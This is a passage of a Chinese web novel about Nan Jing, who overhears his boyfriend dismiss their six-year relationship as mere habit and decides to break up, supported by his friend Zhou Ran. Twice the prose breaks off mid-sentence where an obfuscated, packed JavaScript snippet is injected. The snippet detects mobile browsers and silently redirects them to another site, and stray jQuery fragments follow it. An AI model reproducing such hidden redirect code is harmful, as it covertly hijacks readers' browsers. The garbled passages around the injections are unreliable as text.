《他靠偷窃我的生活痕迹活着》 1. 好久不见 机场出口处,接机的人都在昂首期盼等着人。南景手中那束白色桔梗的茎,已被他指腹无意识地摩挲得微微温热。他的目光穿过攒动的人头,锚定在推着三大箱行李的身影上——周冉。他抬起手,手腕只是很轻地晃了一下。 周冉的视线与他相触,笑容瞬间绽开,整个面庞被瞬间点亮,连眼睫都染上跳跃的光晕。她挥手回应,脚步快得让行李箱几乎要跑起来。 “哥。”她在他面前站定,气息有些微促,声音里却灌满了毫无隔阂的甜。 南景笑吟吟的,将花递过去:“欢迎回家。” 话音未落,怀里被猛的一撞。周冉的双臂结实地环过他的背,甚至用力拍了拍。“好久不见啊,糟糠之哥。” 南景的下颌轻轻蹭过她柔软的发顶,才道:“嗯,长高了些。”他顿了顿,更低声地补充,“也更漂亮了。” “啧,南小景,会说话。”周冉皱皱鼻子,笑意未减。 南景已自然地接过推车,转向停车场方向。周冉抱着花与他并肩,肩膀时不时轻碰一下他的手臂,语速飞快地说着什么。六年光阴凝成的薄冰,在第一个拥抱和第一句调侃落地时,便已悄无声息地融成了脚下的一滩水渍。 一辆线条流畅的白色宾利添越静静地停在那里,车漆在日光下泛着润泽的光。她脚步顿了顿,眉毛高高扬起,吹了声口哨。 “哇哦,我们南景现在混得可以啊。这坐骑,小几百万打不住吧?” 南景笑了笑,说道:“不是我的车,”他的声音从车尾传来,伴随着后备箱沉稳的闭合声,“男朋友的。” “邵、既、明。”周冉一字一顿地念出这个名字,拉开车门,坐进副驾。她舒服地靠进去,侧过脸看南景熟练地启动车子。“真是未见其人,已闻其名多年了。”她点着头,手指无意识地敲着膝盖,“行啊你俩,能这么……纠缠着长大,快六年了吧?眼瞅着就到七年之痒了。合着你的宝贵青春,就被我和他这么瓜分殆尽了。” 车子缓缓驶出停车位,轮胎碾过减速带,带来轻微的起伏。缴费亭的横杆抬起,南景驶入机场高速的引道,高架桥两侧的城市景观在午后阳光下显得有些晃眼。 “算是吧,”南景握着方向盘,目光看着前方汇入的车流,嘴角弯着一个熟悉的弧度,“那你呢?在那边几年,到底怎么样?” “马马虎虎,还算对得起自己。”周冉放松下来,手臂搭在车窗沿上,“托我妈的福,现在也算是个有点小钱、能安心躺平的人了。” “阿姨她……”南景顿了顿。 “我妈?”周冉哼笑一声,指尖绕着一缕头发,“自由自在,潇洒快活去了。我都衣食无忧了,她还能亏待自己?”她顿了顿,声音低了些,“那老头……也不知道看上她什么,我妈都三婚了。不过,对我倒是没得说。” “阿姨人一直挺好的,”南景接道,“也漂亮。” “那是,”周冉挑眉,忽然凑近了些,眼里闪着促狭的光,“我还真问过她,当年怎么看上你爸的。你猜她怎么说?”她模仿着一种慵懒的语调,“‘一时鬼迷心窍,被那张脸给骗了呗,后来人间清醒了呗。’”说完,她自己先笑了起来,笑完才问,“你呢?你爸……后来还有消息吗?” 南景看着前方延伸的路面,表情没什么变化。“高中那会儿还按时给生活费,上大学之后,就联系不上了。”他语气平淡,像在说别人的事,“无所谓了。” “那你妈……”周冉脱口而出,随即立刻抿住嘴唇,抬手轻轻拍了下自己的额头,“得,我这纯属废话。对了,今天不是你生日么?那个邵既明,邵大忙人,没说专门腾出时间陪你啊?” 南景嘴角那抹一直噙着的笑意淡了下去。他快速眨了下眼,视线扫过后视镜,又回到前方。“他今天有点事。不是还有你回来了么?” 周冉盯着他侧脸看了两秒,然后重重靠回椅背,手臂一挥:“行!算他邵既明没口福。今天正好有人上赶着请客,姐带你吃香喝辣的去,管够!” 南景这才又笑了,瞥她一眼:“不愧是我的糟糠之妹,刚回国就带着饭局投奔我。” “那必须的,”周冉扬起下巴,窗外的光影掠过她带笑的眉眼,那抹自信明亮又鲜活,“我可是周冉。” 车窗外,城市的楼宇逐渐向后飞驰,暮色开始为天际染上第一层淡淡的金边。 车子缓缓驶入临江的高档小区,电梯平稳上行,数字无声跳动,最终停在“22”。梯门打开,是独享的玄关。 南景推开门,侧身让她先进。 首先映入眼帘的是几乎占据整面墙的巨大落地窗,窗外,江面如练,对岸的城市天际线在午后斜阳下泛着金辉。客厅宽敞得有些奢侈,浅米色的沙发,边几上摆着新鲜的白玫瑰,空气里有好闻的香薰味道,像是铃兰的味道。整个空间明亮、宁静,透着精心打理过的温馨。 “大小姐,还满意吗?”南景把她的三个行李箱推到客厅中央。 周冉没立刻回答。她像是踏进某个展览馆,先是慢悠悠地踱到窗边,指尖擦过冰凉的玻璃,望着外面浩渺的江景出了几秒钟神。然后转身,目光扫过开放式厨房光洁的台面,掠过角落里枝叶舒展的天堂鸟,最后落回客厅。她忽然几步走到那张宽大的羊绒沙发前,整个人像卸了力气一样陷进去,舒服地喟叹一声,手臂展开搭在靠背上。 “不错,真不错,”她眯起眼,“本小姐甚为满意。”她侧过头,看向南景,“你自己留把钥匙。主卧归我,那两间客房嘛……随你挑一间,就当自家后花园。” 南景抱起手臂,哭笑不得:“我用得着你给我留房?我自己有地方住。” “那不重要,”周冉晃了晃光着的脚丫,“我的地盘,永远有你一间。这叫……战略储备。” “行啊,”南景顺着她的话,好整以暇地问,“那等你以后结婚,妹夫登门,看见家里还给我留着个‘战略储备’房间,你怎么说?” “结婚?”周冉像是听到了什么匪夷所思的词,猛地坐直身体,表情夸张地皱成一团,上下打量南景,“你看我像脑子有病的样儿吗?我现在有钱有闲,自由得像这江上的鸟,我结哪门子婚?”她说着,顺手抄起沙发上一个羽毛抱枕,作势要扔过去,“南小景同志,我警告你,如果真有那么一天我鬼迷心窍了,你别犹豫,抄起砖头就冲我来,务必把我拍醒!” 看南景一脸“我就知道”又要开始说教的表情,周冉立刻竖起手掌,做了个“停”的手势:“打住!咱兄妹之间,不兴人生导师那一套啊。新时代独立女性,懂?” 南景看着她那副严防死守的样子,终于忍不住笑出声,摇了摇头,举起双手作投降状:“行行行,我才懒得管你。你自己的人生,自己担着。” “这就对咯!”周冉一骨碌从沙发上爬起来,拍了拍手,干劲十足,“来吧,开工!先把本宫的江山收拾出来。” 南景的目光落在那三个孤零零的行李箱上,挑了挑眉:“你就……这点家当?周大小姐出洋六载,就攒下这么些行头?” “不然呢?”周冉已经拉开一个箱子,里面是叠放整齐的衣物,“值钱的家当,能随身带的我都薅回来了。剩下的,都是身外之物。”她抬起头,眯眼笑了笑,那笑容里有种精明的光亮,“有钱,不就什么都有了?” 她一边利索地把衣服往臂弯里挂,一边继续说:“那老头,孩子是真不少,东南西北凑一块能有大半个足球队。不然,按我妈那个受宠程度,我还能多分点儿。”她撇撇嘴,“真搞不懂那些老外,怎么就那么热衷……开枝散叶?” 南景走过来,帮她接过一摞衣服,叠放在沙发上:“知足吧你。多少人求都求不来。” “那倒是。”周冉点了点头,又从箱子里拿出一件真丝睡袍,在手上揉了揉,“我妈拿的是大头。只要她这回的黄昏恋保持清醒,别被人骗得团团转,”她冲南景眨眨眼,“将来,我说不定还有机会再继承一笔呢。” “你呀,这么多年,这张嘴不饶人、专会吐槽的毛病,真是一点没变。” 周冉立刻扔给他一个的白眼,下巴微扬:“你懂什么?这是我的人设!犀利、清醒、人间明白——周冉,独家招牌。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046452|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好,好,你是大小姐,你说的都对。”南景举手告饶,语气里是满满的纵容,“来吧,我的明白大小姐,赶紧收拾,晚上不是还有局么?” 两人相视一笑。周冉打开音响,舒缓的英文老歌流淌出来,弥漫在空旷又温馨的房间里。他们一个挂衣服,一个整理杂物,时不时因为翻出某件旧物而停下叽叽喳喳一阵。阳光透过巨大的玻璃窗,一点点西斜,将她们的影子长长地投在地板上,也给整个房间镀上了一层越来越浓的金红色暖光。 江风从微开的窗缝溜进来,吹动了白纱帘。窗外,夕阳正沉沉地向着江面坠去,烧红了半片天空和滔滔江水,辉煌得近乎壮烈,仿佛在倾尽所有,渲染这“近黄昏”前最后的绚烂。房间内,絮絮的聊天声、偶尔的笑声,和着音乐,融在这片暖光里,温柔地沉淀下来。 夕阳的最后一道金边沉入江面,天空逐渐变成深邃的绀青与蟹壳青的混合,几颗早亮的星子怯生生地闪现。窗外城市的灯火次第亮起,像打翻了一盒细碎的水钻。房间被重新布置后,多了鲜活的生活气,周冉环顾四周,满意地拍了拍手,大手一挥:“收工!本小姐要沐浴更衣,然后出发吃穷那个冤大头。” 南景正把最后一个空行李箱推到储藏间,脸上写满无奈。在周冉“慈祥”的注视下,他被迫选定了一间朝阳的次卧,此刻正靠在门框上。“那你动作快点,让请客的等太久不合适。” “切~”周冉拖长了音调,趿拉着拖鞋啪嗒啪嗒往主卧走,一边走一边把盘发的铅笔抽掉,浓密的长卷发像瀑布一样散落下来。她回头冲南景做了个鬼脸:“我能洗个头再出门见他,已经是天大的恩典了,好吗?让他等着,算是饭前开胃。” 南景看着她那副理直气壮的样子,好奇心被勾了起来,跟着走到主卧门口,斜倚着墙:“到底何方神圣啊?你这刚落地就有人接风,面子不小。”他实在想不出,周冉几年没回来,在国内还有什么旧相识能这么殷勤。 周冉已经踢掉了拖鞋,正弯腰翻找浴袍,动作顿了一下,歪着头,很认真地想了想:“唔……好像也是个留子?年纪挺大,具体干嘛的……忘了,没细问。” “什么?”南景的声音提高了些,站直了身体,眉头微拧,“我的大小姐,你连人家干什么的都不知道,就敢去吃这顿饭?几年不见,你胆儿肥了还是缺心眼了?” 周冉终于扯出一件缎面睡袍,直起身,满不在乎地耸了耸肩,长发随着动作晃动。“哎呀,就……去年在某个派对喝懵了,醒来发现睡一块儿了。”她说得那叫一个轻描淡写,“然后吧,这位兄弟的贞操观可能比较古典,非要负责。我说不用,真的,一夜而已,姐姐我玩得起。结果你猜怎么着?”她摊开手,表情有点滑稽,“他扭扭捏捏,说那让我对他负责。” 南景听得眼睛微微睁大,一时语塞。 周冉模仿着当时可能的口吻,挥了挥手:“我当然是让他滚咯。结果这人,跟牛皮糖似的,线上时不时冒个泡,扯点有的没的,纠纠缠缠也快一年了吧。”她抱着睡衣往浴室走,经过南景身边时,用手肘轻轻撞了他一下,脸上露出一种“你放心”的神色,“人嘛,我观察过了,脑子是轴了点,但没什么坏心眼,傻钱多,人还算……挺实诚。所以,这饭,不吃白不吃嘛。” “冉冉……”南景揉了揉太阳穴,感觉信息量有点大,“你出国这几年,光学了这些……‘人生经验’?” 周冉已经拉开了浴室的门,闻言转过头,暖黄的灯光给她侧脸镀上一层毛茸茸的光晕。她咧开嘴,露出一个灿烂到没心没肺的笑容,右手比了个不太标准的手势:“错!是学到了——人生无常,大肠包小肠!嘻嘻!” 说完,她闪身进了浴室,“咔哒”一声利落地锁上了门。紧接着,里面传来哗啦啦的水流声,还夹杂着她不成调荒腔走板的哼歌声。 南景站在原地,对着那扇紧闭,半晌,摇了摇头,最终却还是忍不住,唇角勾起一抹无奈又释然的弧度。他走回客厅,在刚刚被周冉“临幸”过的沙发上坐下,目光落在窗外璀璨的江对岸夜景。 夜,才刚刚开始。 2. 他听见了 车子汇入傍晚拥挤的车流,走走停停。 周冉摆弄着车载音响,切了几首歌都不满意,最后干脆关了。安静下来,她侧过身,手臂搭在中央扶手上,指尖有一下没一下地敲着皮革表面,目光斜睨着开车的南景。 “喂,我说,南小景,你家那位邵公子,今天真就一个电话、一条信息都没有?你这生日过得……未免太清静了点儿。他到底是你正儿八经的男朋友,还是某个需要提前三个月预约的吉祥物?” 南景握着方向盘,目光平稳地看着前方闪烁的红色尾灯。“他表哥今天从国外回来,可能家里人安排了一起吃饭吧。”他解释得平静,甚至有些过于平淡,“他家里……比较看重这些。” “哦~~家里人吃饭。”周冉拖长了调子,转过脸看向窗外飞速后退的街景,撇了撇嘴,“行吧。那你们在一起这几年,都这样?你生日,他看档期?他生日呢,你总能排上号吧?” 南景沉默了片刻。路口红灯亮起,车子缓缓停稳。他修长的手指在方向盘上轻轻敲击了两下,才开口:“他生日……一般也都是回家过。习惯了。” “习惯?”周冉猛地转回头,在昏暗的光线里盯住南景的侧脸,似乎想从他平静无波的轮廓上找出点什么。看了几秒,她忽然泄了气般靠回座椅,夸张地叹了口气:“好好好,真爱无敌,理解万岁。是我肤浅,不懂你们这种细水长流、相敬如宾的高级感情。”她嘟囔道,“这要是我,早换下一个更乖、更黏人的了。” 车厢里安静了几秒,只有车外模糊的喧嚣。南景轻轻打了转向灯,车子驶入另一条相对安静的道路。他瞥了一眼导航上越来越近的目的地,犹豫了一下,问:“那个……冉冉,我跟你去,真的合适吗?不会……打扰你们吧?”他似乎真的在考虑自己是否是个多余的“电灯泡”。 周冉的反应却出乎意料。她没立刻回答,而是极其缓慢地转过头,目光凉飕飕的在南景脸上来来回回扫视了好几遍,从微蹙的眉头到带着杀气的眼神。然后,她脸上露出了震惊、荒谬和一点点受伤的表情。 “南景,道歉。”她开口,声音异常平静,甚至有些严肃。 “啊?”南景被她看得心里发毛,懵懵地应了一声。 “先道歉。”周冉板着脸。 “好的……对不起。”南景虽然不明所以,但基于多年“生存经验”,还是从善如流。 听到道歉,周冉的表情才松动了一些,但眉头依然紧锁。“你在想什么啊?什么电灯泡?这个世界上,有谁能比得过我们相依为命、歃血为盟的革命情分?那个谁,他现在、此刻、严格来说,还算不上我男朋友呢,非正牌也不算。就算以后是了……” 她整个人转向南景,非常认真地皱起鼻子思考,嘴里无意识地发出“嗯……嗯……嗯……”的犹豫音节。想了半天,似乎也没想出完美的解决方案,最后她烦躁地抓了抓头发,赌气似的说:“算了!到时候再说吧!烦死了!”说完,她抱起手臂,气鼓鼓地转向车窗,盯着外面飞逝的模糊光影,真像是自己跟自己生起了闷气。 南景看着她孩子气的模样,嘴角刚想扬起,周冉却又自己转回来了。 她脸上的郁闷一扫而空,突然一脸骄傲和神秘的表情。她清了清嗓子,郑重其事地说:“南景,你知道吗?为了你,我去年,特意去报了个班。” “报班?学什么?”南景一头雾水。 “游、泳!”周冉掷地有声,嘴角带着邪魅一笑,“我,一个曾经坚定的旱鸭子,克服了对水的恐惧,学会了蛙泳、自由泳,甚至能扑腾几下蝶泳!” 南景更懵了,完全跟不上她的跳跃思维:“这……跟我有什么关系?” “当然有关系!”周冉一脸“你这都不懂”的嫌弃,随即又换上一种“我为你牺牲巨大”的庄严神色,“我学游泳,就是为了有朝一日,当你面临那个千古难题——‘我和你男朋友同时掉水里,你先救谁’的时候,我能骄傲地、从容地告诉你:不用管我!我会游泳!你去救那个拖后腿的吧!” 她说完,还用力点了点头,满脸都写着“快夸我深谋远虑、用心良苦”。 南景握着方向盘,足足愣了三四秒。随即,一阵压抑不住的低笑声从他喉咙里逸出,肩膀微微抖动。他摇了摇头,想说什么,又觉得说什么都抵不过周冉这番“壮举”。 窗外的灯光流转,掠过他带笑的眉眼。笑着笑着,心底却涌起一股温温热热的潮水。他看着前方璀璨的城市灯火,眼前却仿佛闪过许多年前那个毫不犹豫挡在他身前的瘦小身影,为了他挡刀的女孩。(皎月归途里面提过,就不在多说了) 那个问题的答案,其实在他心里从未变过。如果真有那么一天……他目光沉静地望向前方被车灯照亮的道路。他想,他会先救周冉。毫不犹豫。 至于男朋友? 他在心底轻轻叹了口气,又带着点冷酷的坦然。 淹死了,他大概会难过,会怀念。 但周冉,是无论如何都不能有事的。 车停在家金碧辉煌的欧式老建筑面前,门童接过钥匙去泊车,南景和周冉往大门进去,然后上电梯。 高档餐厅包厢内,柔和地打在精美的骨瓷餐具上,映出温润的光泽。邵既明坐在靠里的位置。 他表哥秦朗坐在对面,刚结束一个电话,将手机屏幕朝下扣在桌布上。他端起茶杯呷了一口,目光投向邵既明,像是忽然想起什么,眉头微挑。 “对了,你那个男朋友呢?”秦朗问得随意,“今天不是他生日么?你没安排?” 邵既明抬眼,似乎花了一秒钟才将男朋友这个称谓与南景对应上。他端起水杯喝了一口,喉结滑动,放下杯子时,语气平淡:“他?好像自己有事吧。” “有事?”秦朗放下茶杯,表情里混着不解和一丝好笑,“你自己男朋友,生日当天有什么安排,你‘好像’、‘不清楚’?邵既明,我没记错的话,前几天你自己提过一嘴,说‘过两天南景生日’。我这旁听者都记住了,你这正主儿倒忘了?” 邵既明有些漫不经心。“记得是记得,”他承认,语气依旧没什么起伏,“不过,生日而已。开头两年他好像提过想怎么过,后来……也就那样,没怎么特意过。” 秦朗看着他,沉默了几秒。“也就那样?既明,不是我说你,你跟他在一起,这都有……五六年了吧?” “快六年了。”邵既明接得很快,几乎是下意识的。这个数字脱口而出后,他自己似乎也顿了一下,随即又恢复如常。 “对,快六年了。六年,不是六天。你每年自己生日,跟发小、跟我们这帮人闹得欢,从不带他。他生日,你好像也从没正经放在心上。既然这么……不上心,”秦朗斟酌了一下用词,“当初为什么在一起?你要是不喜欢人家,就别说这五六年,五六个月都嫌长。你这是图什么?闲得慌,找个人陪着,不麻烦?” 他沉默了片刻,像在组织语言,又像只是单纯觉得解释起来麻烦。 “当初在一起……是个意外。” “意外?”秦朗追问。 “嗯。”邵既明收回目光,重新落在自己交握放在桌面的手上,拇指无意识地摩挲着另一只手的虎口,“一次出去玩,被人搞了点不干净的东西。他当时也在,阴差阳错……就那样了。” 秦朗显然有些意外,眉头皱得更紧:“然后呢?就因为……这个?你就答应跟他在一起了?这不像你。” 邵既明叹了口气,那叹息太轻。“醒来之后,他觉得……是他趁人之危,或者觉得对我有责任?不太清楚。”他顿了顿,似乎在回忆当时的情景,“他主动提的,说可以试试。我那时候……也觉得没什么所谓。他之前,确实也隐约表示过好感。” 他说到这里,抬起眼看向秦朗,眼神里是一种近乎坦然的平静。“他乐意,我也不反感,就这么处着了。这几年,也没什么不好,他挺……省心的。” 秦朗听着,一时不知该说什么。他看着邵既明,那张俊朗的脸上甚至有些过于平静了。六年,用“省心”和“没什么不好”来形容一段感情?这听起来不像恋人,倒像是评价一位合租已久、互不打扰的室友。 “既明,”秦朗语气复杂,“你就没想过,他可能会难过?尤其是今天这种日子。” 邵既明闻言,脸上掠过近乎困惑的神色,快得让人抓不住。他似乎真的思考了一下这个问题,然后才说:“一开始可能有点吧。后来……习惯了。我们这样,也挺好。” “那你爱他吗?喜欢?习惯??”秦朗问他。 “爱?喜欢?”邵既明重复着这两个词,他轻轻扯了扯嘴角,那笑意并未到达眼底。“习惯……更多一些吧。他很好,没什么不好的地方,安静,不闹,也不需要我费心。” 秦朗看着他,一时不知该说什么。 “那你家里……小姨和小姨夫那边,没说什么?”秦朗换了个方向,他知道邵既明家里对他这段关系并不看好。 邵既明抬起眼,甚至带了点不以为意。“提过几次,意思无非是觉得找个男人不合适,让我趁早断了。”他拿起水杯,又喝了一口,喉结滚动,“再说吧,不急。”他将问题轻飘飘地拨开,反而将话头抛了回去,嘴角那抹笑意真切了些,“倒是你,秦大少,急匆匆回来,为了那家小姐?值得你这么上心,刚下飞机就跑来献殷勤?” 他语气轻松,灯光下,他笑容明朗,剑眉星目,确实是个极出众的男人。 秦朗正要回答,话未出口—— “咣当!” 一声沉闷的像是金属器皿重重顿在木质台面上的巨响,猛地从连接包厢的备餐间方向传来,打断了秦朗的话。 邵既明和秦朗同时一怔,看向那扇虚掩着通往备餐间的侧门。 时间倒回几分钟前。 周冉拉着南景,没走正门,而是跟着一位端菜的服务生,熟门熟路地闪进了包厢旁的备餐间。她本打算从这里穿到包厢,给里面那位一个“惊喜”。 刚踏进来,就隐约听到了外面传来的对话声,提到了“南景”。两人脚步同时顿住,疑惑地对视一眼。 “……不记得了。” 邵既明那熟悉却又带着陌生冷淡感的声音,隔着门板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046453|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刺了进来。 南景脸上的表情瞬间凝固了,嘴角的笑意慢慢消失。周冉则猛地皱起眉,一把拉住想后退的南景,竖起手指抵在唇边,做了个“嘘”的口型。 接下来的对话,一字不落地钻入两人耳中。 “提了几次,让我断了,过段时间在说吧。” “你呢?那家小姐,值得你刚回来就跑来献殷勤。” 邵既明那带着轻笑,甚至有些调侃的语调,像两记闷棍,狠狠敲在两人心口。 周冉脸上的表情,从最初的疑惑,到震惊,再到难以置信,最后全部燃烧成一片几乎要喷薄而出的煞气。她的胸膛剧烈起伏,眼睛瞪得滚圆,里面像是烧着两簇噼啪作响的火焰。她猛地扭头,左右扫视这狭小的备餐间,最后死死定在靠墙一个不锈钢台面上——那里放着一个沉重的水晶烟灰缸。 她想也没想,一步跨过去,抄起那个沉甸甸的烟灰缸,转身就要往那扇通往包厢的门冲去! 南景在巨大的冲击和空白中猛地回神,脸色煞白,几乎是用尽全身力气才在周冉撞开门的前一刻,死死攥住了她的手腕。他的手很凉,甚至有些发抖,但握得极紧。 “你放开!你看我不敲碎那个王八蛋的狗头!”周冉压低声音嘶吼,像只被彻底激怒的小兽,另一只手还想去拧门把手,眼睛红得吓人。 “不行!别!别冲动!”南景的声音干涩发紧,他另一只手也上来,强行去掰周冉紧握着烟灰缸的手指。动作有些慌乱,他不敢看周冉的眼睛,只是低着头,用近乎哀求的力气,一点一点,将那凶器从她手里抠出来。 “哐当”一声闷响,水晶烟灰缸被南景夺下,匆忙放在旁边铺着洁白桌布的推车上,发出一声不那么和谐的噪音。 周冉手上空了,但胸膛依旧剧烈起伏,她狠狠瞪着南景,又瞪向那扇门,牙关咬得死紧,仿佛下一秒就要不管不顾地冲出去。 南景不再给她任何机会,几乎是用拖的,拉着她的胳膊,踉踉跄跄却又速度极快地退出了备餐间。 走廊铺着厚厚的地毯,脚步落下无声。壁灯的光线昏黄柔和,却照得南景脸上毫无血色。他嘴唇抿成一条僵直的线,拉着周冉的手一直没有松开,甚至更用力了些。他低着头,快步向前走,只想立刻、马上离开这个地方,离那扇门后的声音越远越好。 周冉被他拖着走,最初的暴怒在看到他惨白的侧脸和微微发红的眼角时,像被泼了一盆冰水,滋滋冒着烟,却硬生生压了下去。她反手用力握了握南景冰凉的手指,不再挣扎,跟着他疾走,只是胸口那团火还在烧,烧得她五脏六腑都在疼。 一直走到电梯间,明亮的灯光下,南景才仿佛脱力般松开了手,背靠着冰凉的金属墙壁,微微喘了口气。他闭上眼,喉结艰难地滚动了一下。 “南景……”周冉的声音还带着未消的怒气,但更多是担忧和心疼,她凑近一步,想看清他的表情。 南景却猛地别开了脸,只是抬手,有些疲惫地挥了挥,示意自己没事。但他紧握成拳、微微颤抖的手,和紧闭的眼睫下那一点水光,出卖了他。 “那个王八蛋!”周冉终究是没忍住,从牙缝里挤出低骂,拳头狠狠砸在旁边的墙壁上,“邵既明……那个姓秦的居然也认识他!真是……气死我了!”她想起刚才听到的对话,又想起晚上要见的人,一股被愚弄的怒火和荒谬感交织,让她几乎要爆炸。 “……走吧。”南景终于开口,声音沙哑得厉害,像是从很远的地方飘来。他睁开眼,眼睛里没什么神采,只是空洞地看着电梯不断下行的数字。他不想再面对,一刻也不想。那几句轻飘飘的话,比任何的争吵都更刺骨,将他小心翼翼维持了多年的某种平衡和自欺,瞬间击得粉碎。 电梯“叮”一声到达,门缓缓打开。南景站直身体,走了进去,背影挺直,却透着一股说不出的僵硬和孤清。 周冉狠狠吸了口气,又重重吐出,跟了进去,站在他身边,肩膀紧紧挨着他,无声地传递着支撑。 一路无话。到了楼下,南景对门童低声说了句什么,门童很快将车开了过来。南景拉开驾驶座的门,周冉却抢先一步挡在门前。 “南景,”她仰头看着他,眼里是满是担忧,声音也放软了些,“车给我开吧。你……先缓缓。” “不用。”南景的声音很轻,却很坚决,“你还没换国内驾照。”他绕过她,坐进驾驶座,关上了门。 周冉在原地站了两秒,猛地拉开车门,坐进副驾。她没再说话,只是系安全带时,动作幅度大得有些夸张。 车子启动,滑入流光溢彩的夜色。南景开得很稳,但车速比来时快了不少。车厢里一片死寂,周冉几次偷偷侧目看他,他始终目视前方,侧脸线条紧绷,嘴唇抿着,握着方向盘的手。 最终,车子停在另一条相对安静的街道旁。一家看起来客人不多、灯光温暖的小餐厅就在眼前。南景熄了火,却并没有立刻下车,只是静静地看着前方被车灯照亮的、空无一人的路面。 周冉也沉默着。过了好一会儿,她伸出手,轻轻覆在他依旧紧握方向盘的手背上。 3. 分手吧 小餐厅里灯光柔和,空气里飘着食物朴实的香气,客人不多,他们坐在靠窗的角落,窗外是寂静的街道和偶尔掠过的车灯。 周冉拿起桌上的玻璃壶,给南景面前的杯子缓缓注满温水。 “你打算怎么办?” 南景没有立刻去碰那杯水。他背靠着卡座的椅背,目光落在桌面木头的纹理上。他维持这个姿势很久。然后,嘴角向上扯动了一下,那弧度勉强得几乎不能称之为笑,更像肌肉一次失败的抽搐。 “习惯……”他低声重复这个词,声音干涩,“我一直以为,他只是天生性子淡,不太会表达。我对自己说,没关系,他可能就是这样的,细水长流也很好。”他顿住,抬起眼,目光没有焦点地落在虚空中的某一点,眼神空洞,像是透过墙壁看到了很远的地方,又像是什么都没看进去。“原来,从头到尾,只是习惯而已。一个……还算省心的习惯。” 他说得很慢,没有流泪,没有激动,只有一种被抽空了力气的平静,和这平静之下,几乎要满溢出来的疲惫与荒凉。 “后悔吗?”周冉问。 南景的睫毛颤动了一下,缓缓垂下。他摇了摇头,这次动作很肯定。“不后悔。” “遗憾吗?”周冉追问。 这一次,南景沉默了更久。餐厅里播放着一首舒缓的老歌,女歌手慵懒的嗓音唱着关于离别的词句。他就在这片背景音里,缓缓开口,声音飘忽得像自言自语:“这世界……哪有什么遗憾。不过是……把希望放错了地方。” “那,爱他吗?”周冉抛出了最后一个。 南景没有立刻回答,仿佛这个问题需要耗费极大的力气去思考,去回溯。 他的思绪被这个问题拉扯着,飘回了多年前。大学校园,篮球场边,第一次注意到那个在人群中依然耀眼的少年,同年级,一起打球,汗水在阳光下闪着光。他确实有过怦然心动的时刻,也试探地流露过好感,只是对方反应总是淡淡的。他也就把那点心思悄悄按下了,像周冉常说的,拿得起放得下,没什么大不了。 后来……后来是酒吧昏暗的光线,邵既明异常滚烫的皮肤和迷离的眼神,一场混乱带着酒精气味的意外。醒来后的尴尬,对方冷静的审视,他自己脱口而出的试试。然后是顺理成章地在一起,毕业前他租房,邵既明偶尔过去,毕业后搬进那栋漂亮的别墅…… 邵既明从不是一个浪漫的人。没有惊喜,很少主动联系,纪念日、生日常常缺席。他从最初的失落,到后来的“理解”——他性格就是这样,他忙,他家里事多。他学会了做邵既明喜欢的菜,留意他无意识提过的东西,把他的习惯当成自己的习惯,把他的喜好当成努力的方向。他以为那是爱,是磨合,是彼此心照不宣的默契。他总觉得,日子那么长,他们之间,总该是有些不一样的。 直到今天,亲耳听到他用那样淡然甚至带着点“省心”评价的口吻说起自己,说起这六年。那层自己编织的名为“理解”的薄纱,被瞬间撕得粉碎。 “爱啊。”南景终于开口。他抬起眼,看向周冉,眼眶微微有些发红,但眼神里没有了之前的空洞,反而沉淀下一种近乎冷酷的清明。“但就在刚才,那一瞬间,下头了。彻底下头了。”他扯了扯嘴角,这次的笑容里,苦涩依旧,却多了点别的,像是自嘲,也像是终于认清现实后的解脱。“我想,分手……对我们都比较好。不,是对我比较好。” 恰好这时,服务员端上了他们点的菜,热气腾腾,香气扑鼻,暂时打断了这沉重的气氛。 周冉一直紧绷的肩膀,在南景说出“分手”两个字时,松了下来。她眉毛高高扬起,眼里瞬间迸发出一种“早该如此”的亮光,甚至带着点凶悍的赞许。她拿起筷子,用力在空气中虚点了一下:“不愧是我哥!就得这么干脆利落!凭什么受这鸟气?咱们吃完饭就搬家,麻溜的!”她语速飞快,比当事人还要激动,仿佛下一秒就要撸起袖子去干架。 “嗯,吃完饭,搬家。”南景重复着她的话,看着她那副义愤填膺、恨不得立刻手撕渣男的样子,那股堵在胸口沉重的情绪,忽然被撬开了一道缝隙。“周冉,你真是……上天派来拯救我的小天使吗?一回来,就让我看清这么血淋淋的现实。” “嗷!那必须的!”周冉毫不客气地应下,注意力已经大部分被眼前的食物吸引。她夹起一大块咕咾肉塞进嘴里,脸颊立刻鼓了起来,一边被烫得嘶嘶吸气,一边还含混不清、义愤填膺地继续:“你都不知道……国外的中餐难吃成什么鬼样子!这简直是救命的味道!”她吃得毫无形象。 正吃着,周冉放在桌上的手机屏幕亮起,嗡嗡震动起来。来电显示:秦朗。 周冉瞥了一眼,腮帮子还鼓着,眼神瞬间冷了下来。她慢条斯理地嚼了几下,咽下去,又喝了口水,才在手机快要自动挂断前,用指尖划开了接听,直接按了免提,丢在桌上。 “说。”一个字,冰冷,不耐烦。 电话那头传来秦朗温和的语调:“冉冉?你们……到哪儿了?怎么还没到?是不是路上不顺利?” “滚。”周冉吐出第二个字,干脆利落,然后手指一戳,挂断。 南景看着她这一系列操作,愣了一下,有些无奈:“你就……这样?” 